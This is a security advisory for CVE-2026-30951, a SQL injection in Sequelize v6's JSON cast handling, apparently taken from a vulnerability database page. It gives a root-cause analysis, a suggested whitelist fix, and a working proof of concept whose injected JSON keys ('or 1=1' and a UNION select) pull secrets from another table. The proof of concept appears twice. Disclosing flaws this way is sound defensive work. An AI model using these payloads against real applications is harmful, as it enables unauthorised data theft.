GHSA-6457-6JRX-69CR
Vulnerability from github – Published: 2026-03-11 00:18 – Updated: 2026-03-11 00:18Summary
SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.
Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.
Details
In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:
// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
let cast;
if (path[path.length - 1].includes("::")) {
const tmp = path[path.length - 1].split("::");
cast = tmp[1]; // attacker-controlled, no escaping
path[path.length - 1] = tmp[0];
}
// ...
items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}
_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:
return `CAST(${result} AS ${smth.type.toUpperCase()})`;
JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.
Suggested fix — whitelist known SQL data types:
const ALLOWED_CAST_TYPES = new Set([
'integer', 'text', 'real', 'numeric', 'boolean', 'date',
'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);
if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
throw new Error(`Invalid cast type: ${cast}`);
}
PoC
npm install sequelize@6.37.7 sqlite3
const { Sequelize, DataTypes } = require('sequelize');
async function main() {
const sequelize = new Sequelize('sqlite::memory:', { logging: false });
const User = sequelize.define('User', {
username: DataTypes.STRING,
metadata: DataTypes.JSON,
});
const Secret = sequelize.define('Secret', {
key: DataTypes.STRING,
value: DataTypes.STRING,
});
await sequelize.sync({ force: true });
await User.bulkCreate([
{ username: 'alice', metadata: { role: 'admin', level: 10 } },
{ username: 'bob', metadata: { role: 'user', level: 5 } },
{ username: 'charlie', metadata: { role: 'user', level: 1 } },
]);
await Secret.bulkCreate([
{ key: 'api_key', value: 'sk-secret-12345' },
{ key: 'db_password', value: 'super_secret_password' },
]);
// TEST 1: WHERE clause bypass
const r1 = await User.findAll({
where: { metadata: { 'role::text) or 1=1--': 'anything' } },
logging: (sql) => console.log('SQL:', sql),
});
console.log('OR 1=1:', r1.map(u => u.username));
// Returns ALL rows: ['alice', 'bob', 'charlie']
// TEST 2: UNION-based cross-table exfiltration
const r2 = await User.findAll({
where: {
metadata: {
'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
}
},
raw: true,
logging: (sql) => console.log('SQL:', sql),
});
console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
// Returns: api_key=sk-secret-12345, db_password=super_secret_password
}
main().catch(console.error);
Output:
SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
FROM `Users` AS `User`
WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]
SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
FROM `Users` AS `User`
WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]
Impact
SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).
A common vulnerable pattern:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: { metadata: req.body.filter } // user controls JSON object keys
});
res.json(users);
});
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.37.7"
},
"package": {
"ecosystem": "npm",
"name": "sequelize"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0-beta.1"
},
{
"fixed": "6.37.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30951"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:18:48Z",
"nvd_published_at": "2026-03-10T21:16:48Z",
"severity": "HIGH"
},
"details": "### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS \u003ctype\u003e)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n let cast;\n if (path[path.length - 1].includes(\"::\")) {\n const tmp = path[path.length - 1].split(\"::\");\n cast = tmp[1]; // attacker-controlled, no escaping\n path[path.length - 1] = tmp[0];\n }\n // ...\n items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** \u2014 whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n \u0027integer\u0027, \u0027text\u0027, \u0027real\u0027, \u0027numeric\u0027, \u0027boolean\u0027, \u0027date\u0027,\n \u0027timestamp\u0027, \u0027timestamptz\u0027, \u0027json\u0027, \u0027jsonb\u0027, \u0027float\u0027,\n \u0027double precision\u0027, \u0027bigint\u0027, \u0027smallint\u0027, \u0027varchar\u0027, \u0027char\u0027,\n]);\n\nif (cast \u0026\u0026 !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require(\u0027sequelize\u0027);\n\nasync function main() {\n const sequelize = new Sequelize(\u0027sqlite::memory:\u0027, { logging: false });\n\n const User = sequelize.define(\u0027User\u0027, {\n username: DataTypes.STRING,\n metadata: DataTypes.JSON,\n });\n\n const Secret = sequelize.define(\u0027Secret\u0027, {\n key: DataTypes.STRING,\n value: DataTypes.STRING,\n });\n\n await sequelize.sync({ force: true });\n\n await User.bulkCreate([\n { username: \u0027alice\u0027, metadata: { role: \u0027admin\u0027, level: 10 } },\n { username: \u0027bob\u0027, metadata: { role: \u0027user\u0027, level: 5 } },\n { username: \u0027charlie\u0027, metadata: { role: \u0027user\u0027, level: 1 } },\n ]);\n\n await Secret.bulkCreate([\n { key: \u0027api_key\u0027, value: \u0027sk-secret-12345\u0027 },\n { key: \u0027db_password\u0027, value: \u0027super_secret_password\u0027 },\n ]);\n\n // TEST 1: WHERE clause bypass\n const r1 = await User.findAll({\n where: { metadata: { \u0027role::text) or 1=1--\u0027: \u0027anything\u0027 } },\n logging: (sql) =\u003e console.log(\u0027SQL:\u0027, sql),\n });\n console.log(\u0027OR 1=1:\u0027, r1.map(u =\u003e u.username));\n // Returns ALL rows: [\u0027alice\u0027, \u0027bob\u0027, \u0027charlie\u0027]\n\n // TEST 2: UNION-based cross-table exfiltration\n const r2 = await User.findAll({\n where: {\n metadata: {\n \u0027role::text) and 0 union select id,key,value,null,null from Secrets--\u0027: \u0027x\u0027\n }\n },\n raw: true,\n logging: (sql) =\u003e console.log(\u0027SQL:\u0027, sql),\n });\n console.log(\u0027UNION:\u0027, r2.map(r =\u003e `${r.username}=${r.metadata}`));\n // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,\u0027$.role\u0027) AS TEXT) OR 1=1--) = \u0027anything\u0027;\nOR 1=1: [ \u0027alice\u0027, \u0027bob\u0027, \u0027charlie\u0027 ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,\u0027$.role\u0027) AS TEXT) AND 0\n UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = \u0027x\u0027;\nUNION: [ \u0027api_key=sk-secret-12345\u0027, \u0027db_password=super_secret_password\u0027 ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** \u2014 Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post(\u0027/api/users/search\u0027, async (req, res) =\u003e {\n const users = await User.findAll({\n where: { metadata: req.body.filter } // user controls JSON object keys\n });\n res.json(users);\n});\n```",
"id": "GHSA-6457-6jrx-69cr",
"modified": "2026-03-11T00:18:48Z",
"published": "2026-03-11T00:18:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30951"
},
{
"type": "PACKAGE",
"url": "https://github.com/sequelize/sequelize"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.